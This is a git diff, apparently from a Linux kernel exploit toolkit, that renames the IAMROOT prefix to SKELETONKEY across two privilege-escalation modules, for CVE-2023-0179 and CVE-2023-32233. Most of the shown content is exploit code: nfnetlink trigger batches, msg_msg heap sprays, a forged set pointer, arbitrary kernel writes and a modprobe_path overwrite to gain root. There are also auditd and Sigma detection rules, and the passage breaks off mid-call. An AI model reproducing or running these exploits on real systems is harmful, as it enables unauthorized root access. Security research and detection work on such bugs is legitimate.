NEWCHAIN → NEWSET with `NFTA_SET_DESC` describing variable-length elements → diff --git a/modules/nft_payload_cve_2023_0179/iamroot_modules.h b/modules/nft_payload_cve_2023_0179/iamroot_modules.h deleted file mode 100644 index 79ac86b..0000000 --- a/modules/nft_payload_cve_2023_0179/iamroot_modules.h +++ /dev/null @@ -1,12 +0,0 @@ -/* - * nft_payload_cve_2023_0179 — IAMROOT module registry hook - */ - -#ifndef NFT_PAYLOAD_IAMROOT_MODULES_H -#define NFT_PAYLOAD_IAMROOT_MODULES_H - -#include "../../core/module.h" - -extern const struct iamroot_module nft_payload_module; - -#endif diff --git a/modules/nft_payload_cve_2023_0179/iamroot_modules.c b/modules/nft_payload_cve_2023_0179/skeletonkey_modules.c similarity index 93% rename from modules/nft_payload_cve_2023_0179/iamroot_modules.c rename to modules/nft_payload_cve_2023_0179/skeletonkey_modules.c index bf88e76..0a67a64 100644 --- a/modules/nft_payload_cve_2023_0179/iamroot_modules.c +++ b/modules/nft_payload_cve_2023_0179/skeletonkey_modules.c @@ -1,5 +1,5 @@ /* - * nft_payload_cve_2023_0179 — IAMROOT module + * nft_payload_cve_2023_0179 — SKELETONKEY module * * Netfilter nf_tables variable-length element-extension OOB R/W. * Discovered January 2023 by Davide Ornaghi. nf_tables payload set/get @@ -25,12 +25,12 @@ * payload-set whose attacker-controlled verdict.code drives the * OOB), spray msg_msg payloads adjacent to the regs->data target, * fires a synthetic packet through the chain, snapshots - * /proc/slabinfo, logs to /tmp/iamroot-nft_payload.log, returns - * IAMROOT_EXPLOIT_FAIL (primitive-only behavior). + * /proc/slabinfo, logs to /tmp/skeletonkey-nft_payload.log, returns + * SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior). * - With --full-chain: after the trigger lands, we resolve kernel * offsets (env → kallsyms → System.map → embedded table) and run * a Davide-Ornaghi-style payload-set arb-write via the shared - * iamroot_finisher_modprobe_path() helper. The arb-write itself + * skeletonkey_finisher_modprobe_path() helper. The arb-write itself * is FALLBACK-DEPTH: we refire the set-element registration with * a verdict code chosen so the OOB index lands on a msg_msg slot * we tagged with the caller's kaddr + payload bytes. The exact @@ -47,7 +47,7 @@ * unprivileged user even on a kernel-vulnerable host. */ -#include "iamroot_modules.h" +#include "skeletonkey_modules.h" #include "../../core/registry.h" #include "../../core/kernel_range.h" #include "../../core/offsets.h" @@ -129,12 +129,12 @@ static bool nf_tables_loaded(void) return found; } -static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx) +static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx) { struct kernel_version v; if (!kernel_version_current(&v)) { fprintf(stderr, "[!] nft_payload: could not parse kernel version\n"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } /* Bug introduced with the set-payload extension in 5.4. Anything @@ -145,7 +145,7 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx) "(set-payload extension landed in 5.4)\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } bool patched = kernel_range_is_patched(&nft_payload_range, &v); @@ -153,7 +153,7 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[+] nft_payload: kernel %s is patched\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } int userns_ok = can_unshare_userns(); @@ -177,14 +177,14 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[i] nft_payload: still patch the kernel — a root " "attacker can still trigger the bug\n"); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } if (!ctx->json) { fprintf(stderr, "[!] nft_payload: VULNERABLE — kernel in range AND " "user_ns clone allowed\n"); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } #ifdef __linux__ @@ -225,7 +225,7 @@ static int enter_unpriv_namespaces(void) /* ------------------------------------------------------------------ * Minimal nfnetlink batch builder — same shape as nf_tables_cve_2024_1086 - * to keep the IAMROOT family code self-consistent; we inline rather + * to keep the SKELETONKEY family code self-consistent; we inline rather * than link against the other module so a future refactor can pull the * helpers up into core/ without breaking either consumer. * ------------------------------------------------------------------ */ @@ -341,9 +341,9 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq) * Per-module strings. * ------------------------------------------------------------------ */ -static const char NFT_TABLE_NAME[] = "iamroot_pl_t"; -static const char NFT_CHAIN_NAME[] = "iamroot_pl_c"; -static const char NFT_SET_NAME[] = "iamroot_pl_s"; +static const char NFT_TABLE_NAME[] = "skeletonkey_pl_t"; +static const char NFT_CHAIN_NAME[] = "skeletonkey_pl_c"; +static const char NFT_SET_NAME[] = "skeletonkey_pl_s"; /* NFT expression "name" attributes are NUL-terminated short strings. */ #define NFT_EXPR_PAYLOAD_NAME "payload" @@ -373,7 +373,7 @@ static const char NFT_SET_NAME[] = "iamroot_pl_s"; * exploitable range. The exact "right" magic is per-build; we ship a * default that matched Davide's PoC on a stock 5.15 build and rely on * the finisher's sentinel-file post-check to flag a layout mismatch as - * IAMROOT_EXPLOIT_FAIL rather than fake success. */ + * SKELETONKEY_EXPLOIT_FAIL rather than fake success. */ #define NFT_PAYLOAD_OOB_INDEX_DEFAULT 0x100 /* ------------------------------------------------------------------ @@ -685,7 +685,7 @@ static void trigger_packet(void) dst.sin_port = htons(31337); dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK); - const char m[] = "iamroot-nft_payload-trigger"; + const char m[] = "skeletonkey-nft_payload-trigger"; for (int i = 0; i < 8; i++) { (void)!sendto(s, m, sizeof m, MSG_DONTWAIT, (struct sockaddr *)&dst, sizeof dst); @@ -732,7 +732,7 @@ static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq, * KASAN, lockdep, kernel build options all shift it). The shipped * default oob_index matches Davide's PoC on a stock 5.15 build; the * shared finisher's sentinel-file post-check flags layout mismatch as - * IAMROOT_EXPLOIT_FAIL rather than fake success. + * SKELETONKEY_EXPLOIT_FAIL rather than fake success. * ------------------------------------------------------------------ */ struct nft_payload_arb_ctx { @@ -807,21 +807,21 @@ static int nft_payload_arb_write(uintptr_t kaddr, const void *buf, size_t len, * Exploit body. * ------------------------------------------------------------------ */ -static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx) +static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ctx) { if (!ctx->authorized) { fprintf(stderr, "[-] nft_payload: refusing — --i-know not passed; " "exploit code can crash the kernel\n"); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } if (geteuid() == 0) { if (!ctx->json) fprintf(stderr, "[i] nft_payload: already running as root\n"); - return IAMROOT_OK; + return SKELETONKEY_OK; } - iamroot_result_t pre = nft_payload_detect(ctx); - if (pre != IAMROOT_VULNERABLE) { + skeletonkey_result_t pre = nft_payload_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { fprintf(stderr, "[-] nft_payload: detect() says not vulnerable; refusing\n"); return pre; } @@ -841,35 +841,35 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx) #ifndef __linux__ (void)ctx; fprintf(stderr, "[-] nft_payload: linux-only exploit; non-linux build\n"); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; #else /* --- --full-chain path: resolve offsets in parent before doing * anything destructive. */ if (ctx->full_chain) { - struct iamroot_kernel_offsets off; + struct skeletonkey_kernel_offsets off; memset(&off, 0, sizeof off); - iamroot_offsets_resolve(&off); - if (!iamroot_offsets_have_modprobe_path(&off)) { - iamroot_finisher_print_offset_help("nft_payload"); - return IAMROOT_EXPLOIT_FAIL; + skeletonkey_offsets_resolve(&off); + if (!skeletonkey_offsets_have_modprobe_path(&off)) { + skeletonkey_finisher_print_offset_help("nft_payload"); + return SKELETONKEY_EXPLOIT_FAIL; } - iamroot_offsets_print(&off); + skeletonkey_offsets_print(&off); if (enter_unpriv_namespaces() < 0) { fprintf(stderr, "[-] nft_payload: userns entry failed\n"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER); if (sock < 0) { perror("[-] socket(NETLINK_NETFILTER)"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } struct sockaddr_nl src = { .nl_family = AF_NETLINK }; if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) { perror("[-] bind"); close(sock); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } int rcvbuf = 1 << 20; setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf); @@ -887,7 +887,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx) } uint8_t *batch = calloc(1, 16 * 1024); - if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; } + if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; } uint32_t seq = (uint32_t)time(NULL); size_t blen = build_trigger_batch(batch, 16 * 1024, &seq, @@ -901,7 +901,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx) drain_queues(qids_small, SPRAY_QUEUES_SMALL); drain_queues(qids_large, SPRAY_QUEUES_LARGE); free(batch); close(sock); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } struct nft_payload_arb_ctx ac = { @@ -917,10 +917,10 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx) .arb_calls = 0, }; - iamroot_result_t r = iamroot_finisher_modprobe_path( + skeletonkey_result_t r = skeletonkey_finisher_modprobe_path( &off, nft_payload_arb_write, &ac, !ctx->no_shell); - FILE *fl = fopen("/tmp/iamroot-nft_payload.log", "a"); + FILE *fl = fopen("/tmp/skeletonkey-nft_payload.log", "a"); if (fl) { fprintf(fl, "full_chain finisher rc=%d arb_calls=%d " "spray_small=%d spray_large=%d\n", @@ -936,9 +936,9 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx) } /* --- primitive-only path: fork-isolated trigger so a kernel oops - * doesn't take down the iamroot driver. */ + * doesn't take down the skeletonkey driver. */ pid_t child = fork(); - if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; } + if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; } if (child == 0) { /* --- CHILD --- */ @@ -1016,7 +1016,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx) pre_96, post_96); } - FILE *log = fopen("/tmp/iamroot-nft_payload.log", "w"); + FILE *log = fopen("/tmp/skeletonkey-nft_payload.log", "w"); if (log) { fprintf(log, "nft_payload trigger child: spray_small=%d spray_large=%d " @@ -1048,7 +1048,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx) "likely fired (KASAN/oops can manifest as child " "signal)\n", WTERMSIG(status)); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } int rc = WEXITSTATUS(status); @@ -1061,19 +1061,19 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx) " Davide Ornaghi's payload-set + regs->data\n" " arb-write + modprobe_path overwrite chain.\n"); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (rc >= 20 && rc <= 24) { if (!ctx->json) { fprintf(stderr, "[-] nft_payload: trigger setup failed (child rc=%d)\n", rc); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (!ctx->json) { fprintf(stderr, "[-] nft_payload: unexpected child rc=%d\n", rc); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; #endif /* __linux__ */ } @@ -1081,15 +1081,15 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx) * Cleanup. * ------------------------------------------------------------------ */ -static iamroot_result_t nft_payload_cleanup(const struct iamroot_ctx *ctx) +static skeletonkey_result_t nft_payload_cleanup(const struct skeletonkey_ctx *ctx) { if (!ctx->json) { fprintf(stderr, "[*] nft_payload: tearing down log\n"); } - if (unlink("/tmp/iamroot-nft_payload.log") < 0 && errno != ENOENT) { + if (unlink("/tmp/skeletonkey-nft_payload.log") < 0 && errno != ENOENT) { /* ignore */ } - return IAMROOT_OK; + return SKELETONKEY_OK; } /* ------------------------------------------------------------------ @@ -1101,16 +1101,16 @@ static const char nft_payload_auditd[] = "# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by NETLINK_NETFILTER\n" "# socket setup. Canonical exploit shape: unprivileged userns + nft\n" "# rule loading. False positives: firewalld, docker/podman rootless.\n" - "-a always,exit -F arch=b64 -S unshare -k iamroot-nft-payload-userns\n" - "-a always,exit -F arch=b32 -S unshare -k iamroot-nft-payload-userns\n" + "-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-payload-userns\n" + "-a always,exit -F arch=b32 -S unshare -k skeletonkey-nft-payload-userns\n" "# Watch for the canonical post-exploit primitive: setresuid(0,0,0)\n" "# from a previously-unpriv task is the smoking gun for any kernel LPE.\n" "-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 " - "-k iamroot-nft-payload-priv\n"; + "-k skeletonkey-nft-payload-priv\n"; static const char nft_payload_sigma[] = "title: Possible CVE-2023-0179 nft_payload regset-OOB exploitation\n" - "id: c83d6e92-iamroot-nft-payload\n" + "id: c83d6e92-skeletonkey-nft-payload\n" "status: experimental\n" "description: |\n" " Detects the canonical exploit shape for CVE-2023-0179: an\n" @@ -1134,7 +1134,7 @@ static const char nft_payload_sigma[] = "level: high\n" "tags: [attack.privilege_escalation, attack.t1068, cve.2023.0179]\n"; -const struct iamroot_module nft_payload_module = { +const struct skeletonkey_module nft_payload_module = { .name = "nft_payload", .cve = "CVE-2023-0179", .summary = "nft_payload set-id regset OOB R/W (Davide Ornaghi) → kernel R/W", @@ -1151,7 +1151,7 @@ const struct iamroot_module nft_payload_module = { .detect_falco = NULL, }; -void iamroot_register_nft_payload(void) +void skeletonkey_register_nft_payload(void) { - iamroot_register(&nft_payload_module); + skeletonkey_register(&nft_payload_module); } diff --git a/modules/nft_payload_cve_2023_0179/skeletonkey_modules.h b/modules/nft_payload_cve_2023_0179/skeletonkey_modules.h new file mode 100644 index 0000000..d0fed52 --- /dev/null +++ b/modules/nft_payload_cve_2023_0179/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * nft_payload_cve_2023_0179 — SKELETONKEY module registry hook + */ + +#ifndef NFT_PAYLOAD_SKELETONKEY_MODULES_H +#define NFT_PAYLOAD_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module nft_payload_module; + +#endif diff --git a/modules/nft_set_uaf_cve_2023_32233/NOTICE.md b/modules/nft_set_uaf_cve_2023_32233/NOTICE.md index b2fb0c1..ac7cbb1 100644 --- a/modules/nft_set_uaf_cve_2023_32233/NOTICE.md +++ b/modules/nft_set_uaf_cve_2023_32233/NOTICE.md @@ -20,12 +20,12 @@ Upstream fix: mainline 6.4-rc4 (commit `c1592a89942e9`, May 2023). Branch backports: 6.3.2 / 6.2.15 / 6.1.28 / 5.15.111 / 5.10.180 / 5.4.243 / 4.19.283. -## IAMROOT role +## SKELETONKEY role Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN (base, LOCAL_OUT hook) → NEWSET (ANON|EVAL|CONSTANT) → NEWRULE (nft_lookup referencing the set by `NFTA_LOOKUP_SET_ID`) → DELSET → DELRULE -in the same transaction. msg_msg cg-512 spray with `IAMROOT_SET` +in the same transaction. msg_msg cg-512 spray with `SKELETONKEY_SET` tags. `--full-chain` forges a freed-set with `set->data = kaddr` at the diff --git a/modules/nft_set_uaf_cve_2023_32233/iamroot_modules.h b/modules/nft_set_uaf_cve_2023_32233/iamroot_modules.h deleted file mode 100644 index 340009a..0000000 --- a/modules/nft_set_uaf_cve_2023_32233/iamroot_modules.h +++ /dev/null @@ -1,12 +0,0 @@ -/* - * nft_set_uaf_cve_2023_32233 — IAMROOT module registry hook - */ - -#ifndef NFT_SET_UAF_IAMROOT_MODULES_H -#define NFT_SET_UAF_IAMROOT_MODULES_H - -#include "../../core/module.h" - -extern const struct iamroot_module nft_set_uaf_module; - -#endif diff --git a/modules/nft_set_uaf_cve_2023_32233/iamroot_modules.c b/modules/nft_set_uaf_cve_2023_32233/skeletonkey_modules.c similarity index 90% rename from modules/nft_set_uaf_cve_2023_32233/iamroot_modules.c rename to modules/nft_set_uaf_cve_2023_32233/skeletonkey_modules.c index af34418..ce02766 100644 --- a/modules/nft_set_uaf_cve_2023_32233/iamroot_modules.c +++ b/modules/nft_set_uaf_cve_2023_32233/skeletonkey_modules.c @@ -1,5 +1,5 @@ /* - * nft_set_uaf_cve_2023_32233 — IAMROOT module + * nft_set_uaf_cve_2023_32233 — SKELETONKEY module * * nf_tables anonymous-set UAF (Sondej + Krysiuk, May 2023). When an * anonymous `nft_set` referenced by an `nft_lookup` expression inside a @@ -16,11 +16,11 @@ * batch construction (table → base chain → anonymous set → rule * with nft_lookup → DELSET → DELRULE) committed in a single batch, * msg_msg cross-cache groom for kmalloc-cg-512 (32×16 messages - * tagged "IAMROOT_SET"), slabinfo snapshot before/after, and a - * /tmp/iamroot-nft_set_uaf.log breadcrumb. Returns - * IAMROOT_EXPLOIT_FAIL after the primitive fires (honest scope). + * tagged "SKELETONKEY_SET"), slabinfo snapshot before/after, and a + * /tmp/skeletonkey-nft_set_uaf.log breadcrumb. Returns + * SKELETONKEY_EXPLOIT_FAIL after the primitive fires (honest scope). * - With --full-chain: resolve kernel offsets; if no modprobe_path, - * refuse via iamroot_finisher_print_offset_help. Otherwise re-fire + * refuse via skeletonkey_finisher_print_offset_help. Otherwise re-fire * the trigger and spray msg_msg payloads forging a freed-set-object * whose data pointer points at modprobe_path, then drive * NFT_MSG_NEWSETELEM with our payload. FALLBACK-depth: the exact @@ -47,7 +47,7 @@ * - Crusaders-of-Rust follow-up writeup */ -#include "iamroot_modules.h" +#include "skeletonkey_modules.h" #include "../../core/registry.h" #include "../../core/kernel_range.h" @@ -142,16 +142,16 @@ static bool nf_tables_loaded(void) } #endif /* __linux__ */ -static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx) +static skeletonkey_result_t nft_set_uaf_detect(const struct skeletonkey_ctx *ctx) { #ifndef __linux__ (void)ctx; - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; #else struct kernel_version v; if (!kernel_version_current(&v)) { fprintf(stderr, "[!] nft_set_uaf: could not parse kernel version\n"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } /* Bug introduced in 5.1 (anonymous-set support). Anything below @@ -161,7 +161,7 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[i] nft_set_uaf: kernel %s predates the bug " "(anonymous-set support landed in 5.1)\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } bool patched = kernel_range_is_patched(&nft_set_uaf_range, &v); @@ -169,7 +169,7 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[+] nft_set_uaf: kernel %s is patched\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } int userns_ok = can_unshare_userns(); @@ -193,14 +193,14 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[i] nft_set_uaf: still patch the kernel — a root " "attacker can still trigger the bug\n"); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } if (!ctx->json) { fprintf(stderr, "[!] nft_set_uaf: VULNERABLE — kernel in range AND " "user_ns clone allowed\n"); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; #endif } @@ -317,8 +317,8 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start) * Ruleset: anonymous-set UAF trigger. * * 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES) - * 2. NFT_MSG_NEWTABLE "iamroot_t" inet - * 3. NFT_MSG_NEWCHAIN "iamroot_c" base, NF_INET_LOCAL_OUT hook + * 2. NFT_MSG_NEWTABLE "skeletonkey_t" inet + * 3. NFT_MSG_NEWCHAIN "skeletonkey_c" base, NF_INET_LOCAL_OUT hook * 4. NFT_MSG_NEWSET anonymous flags = ANONYMOUS|CONSTANT|EVAL * 5. NFT_MSG_NEWRULE nft_lookup references the anonymous set * 6. NFT_MSG_DELSET delete the set in the same batch @@ -331,13 +331,13 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start) * UAF on commit-time set cleanup. * ------------------------------------------------------------------ */ -static const char NFT_TABLE_NAME[] = "iamroot_t"; -static const char NFT_CHAIN_NAME[] = "iamroot_c"; -static const char NFT_SET_NAME[] = "iamroot_s"; /* fixed-name placeholder; +static const char NFT_TABLE_NAME[] = "skeletonkey_t"; +static const char NFT_CHAIN_NAME[] = "skeletonkey_c"; +static const char NFT_SET_NAME[] = "skeletonkey_s"; /* fixed-name placeholder; * anonymous flag still set */ -static const char NFT_RULE_HANDLE_ATTR[] = "iamroot_r"; +static const char NFT_RULE_HANDLE_ATTR[] = "skeletonkey_r"; -#define IAMROOT_SET_ID 0x42424242 +#define SKELETONKEY_SET_ID 0x42424242 static void put_batch_marker(uint8_t *buf, size_t *off, uint16_t type, uint32_t seq) { @@ -407,14 +407,14 @@ static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq) NFT_SET_ANONYMOUS | NFT_SET_CONSTANT | NFT_SET_EVAL); put_attr_u32(buf, off, NFTA_SET_KEY_TYPE, 0); /* "integer" */ put_attr_u32(buf, off, NFTA_SET_KEY_LEN, sizeof(uint32_t)); - put_attr_u32(buf, off, NFTA_SET_ID, IAMROOT_SET_ID); + put_attr_u32(buf, off, NFTA_SET_ID, SKELETONKEY_SET_ID); end_msg(buf, off, at); } /* NFT_MSG_NEWRULE: a single nft_lookup expression that references the * anonymous set. The expression list contains one NFTA_LIST_ELEM whose * NFTA_EXPR_NAME = "lookup" and NFTA_EXPR_DATA.{ NFTA_LOOKUP_SREG=1, - * NFTA_LOOKUP_SET_ID=IAMROOT_SET_ID }. + * NFTA_LOOKUP_SET_ID=SKELETONKEY_SET_ID }. */ static void put_new_rule_with_lookup(uint8_t *buf, size_t *off, uint32_t seq) { @@ -432,7 +432,7 @@ static void put_new_rule_with_lookup(uint8_t *buf, size_t *off, uint32_t seq) /* lookup expr attrs: source register, target set (by ID), no flags */ put_attr_u32(buf, off, NFTA_LOOKUP_SREG, 1 /* NFT_REG_1 */); put_attr_str(buf, off, NFTA_LOOKUP_SET, NFT_SET_NAME); - put_attr_u32(buf, off, NFTA_LOOKUP_SET_ID, IAMROOT_SET_ID); + put_attr_u32(buf, off, NFTA_LOOKUP_SET_ID, SKELETONKEY_SET_ID); end_nest(buf, off, edata_at); end_nest(buf, off, el_at); end_nest(buf, off, exprs_at); @@ -510,13 +510,13 @@ static int nft_send_batch(int sock, const void *buf, size_t len) * The freed nft_set object lives in kmalloc-cg-512 on lts-6.1.x and * 6.2.x builds (nft_set is ~448 bytes incl. ops vtable pointer + * pcpu data, rounds to cg-512). We spray 32 queues × 16 messages - * tagged with the "IAMROOT_SET" prefix so KASAN/triage can correlate. + * tagged with the "SKELETONKEY_SET" prefix so KASAN/triage can correlate. * ------------------------------------------------------------------ */ #define SPRAY_QUEUES 32 #define SPRAY_MSGS_PER_QUEUE 16 #define MSG_PAYLOAD_BYTES 496 /* 512 - sizeof(msg_msg hdr ~= 16) */ -#define IAMROOT_TAG "IAMROOT_SET" +#define SKELETONKEY_TAG "SKELETONKEY_SET" struct ipc_payload { long mtype; @@ -530,7 +530,7 @@ static int spray_msg_msg(int queues[SPRAY_QUEUES]) p.mtype = 0x53; /* 'S' for "set" */ memset(p.buf, 0x53, sizeof p.buf); /* recognizable cookie at the head of every message */ - memcpy(p.buf, IAMROOT_TAG, sizeof IAMROOT_TAG - 1); + memcpy(p.buf, SKELETONKEY_TAG, sizeof SKELETONKEY_TAG - 1); int created = 0; for (int i = 0; i < SPRAY_QUEUES; i++) { @@ -604,14 +604,14 @@ static size_t build_trigger_batch(uint8_t *batch, size_t cap, uint32_t *seq) static void log_breadcrumb(long before, long after, int sprayed) { - FILE *f = fopen("/tmp/iamroot-nft_set_uaf.log", "a"); + FILE *f = fopen("/tmp/skeletonkey-nft_set_uaf.log", "a"); if (!f) return; time_t now = time(NULL); char ts[64]; strftime(ts, sizeof ts, "%Y-%m-%dT%H:%M:%SZ", gmtime(&now)); fprintf(f, "%s nft_set_uaf primitive fired: cg512 active %ld→%ld; " "msg_msg sprayed=%d tag=%s\n", - ts, before, after, sprayed, IAMROOT_TAG); + ts, before, after, sprayed, SKELETONKEY_TAG); fclose(f); } @@ -631,7 +631,7 @@ static void log_breadcrumb(long before, long after, int sprayed) * - the freed slot must be claimed by our spray, not by an * unrelated kernel allocator — race-dependent * - the finisher's sentinel post-check is the source of truth; - * missed writes return IAMROOT_EXPLOIT_FAIL, not fake success + * missed writes return SKELETONKEY_EXPLOIT_FAIL, not fake success * ------------------------------------------------------------------ */ /* Offset of `data` pointer in nft_set header on lts-6.1.x/6.2.x builds @@ -659,7 +659,7 @@ static int spray_forged_set_msgs(struct nft_arb_ctx *c, uintptr_t kaddr, int n) struct ipc_payload m; memset(&m, 0, sizeof m); m.mtype = 0x5345544146; /* "FATESF" reversed tag */ - memcpy(m.buf, IAMROOT_TAG "_FORGE", sizeof IAMROOT_TAG + 5); + memcpy(m.buf, SKELETONKEY_TAG "_FORGE", sizeof SKELETONKEY_TAG + 5); /* Forge `set->data = kaddr` at the documented offset. msg_msg * eats ~0x30 bytes at the head as its own header; the payload @@ -756,21 +756,21 @@ static int nft_set_uaf_arb_write(uintptr_t kaddr, const void *buf, size_t len, * Exploit body * ------------------------------------------------------------------ */ -static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx) +static skeletonkey_result_t nft_set_uaf_exploit(const struct skeletonkey_ctx *ctx) { if (!ctx->authorized) { fprintf(stderr, "[-] nft_set_uaf: refusing without --i-know gate\n"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (geteuid() == 0) { if (!ctx->json) fprintf(stderr, "[i] nft_set_uaf: already running as root\n"); - return IAMROOT_OK; + return SKELETONKEY_OK; } /* Re-confirm vulnerability. */ - iamroot_result_t pre = nft_set_uaf_detect(ctx); - if (pre != IAMROOT_VULNERABLE) { + skeletonkey_result_t pre = nft_set_uaf_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { fprintf(stderr, "[-] nft_set_uaf: detect() says not vulnerable; refusing\n"); return pre; } @@ -778,7 +778,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx) #ifndef __linux__ (void)ctx; fprintf(stderr, "[-] nft_set_uaf: non-Linux host — exploit unavailable\n"); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; #else if (!ctx->json) { if (ctx->full_chain) { @@ -795,34 +795,34 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx) /* --- --full-chain path: in-process (no fork) so the finisher's * modprobe_path trigger shares our userns+netns+sock. */ if (ctx->full_chain) { - struct iamroot_kernel_offsets koff; - iamroot_offsets_resolve(&koff); - if (!iamroot_offsets_have_modprobe_path(&koff)) { - iamroot_finisher_print_offset_help("nft_set_uaf"); - return IAMROOT_EXPLOIT_FAIL; + struct skeletonkey_kernel_offsets koff; + skeletonkey_offsets_resolve(&koff); + if (!skeletonkey_offsets_have_modprobe_path(&koff)) { + skeletonkey_finisher_print_offset_help("nft_set_uaf"); + return SKELETONKEY_EXPLOIT_FAIL; } - iamroot_offsets_print(&koff); + skeletonkey_offsets_print(&koff); if (enter_unpriv_namespaces() < 0) { fprintf(stderr, "[-] nft_set_uaf: userns entry failed\n"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER); if (sock < 0) { perror("[-] socket(NETLINK_NETFILTER)"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } struct sockaddr_nl src = { .nl_family = AF_NETLINK }; if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) { - perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL; + perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL; } int rcvbuf = 1 << 20; setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf); uint8_t *batch = calloc(1, 16 * 1024); - if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; } + if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; } struct nft_arb_ctx ac = { .sock = sock, .batch = batch, .qused = 0 }; for (int i = 0; i < SPRAY_QUEUES; i++) ac.qids[i] = -1; @@ -837,10 +837,10 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx) if (nft_send_batch(sock, batch, blen) < 0) { fprintf(stderr, "[-] nft_set_uaf: trigger batch failed\n"); free(batch); close(sock); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } - iamroot_result_t r = iamroot_finisher_modprobe_path(&koff, + skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(&koff, 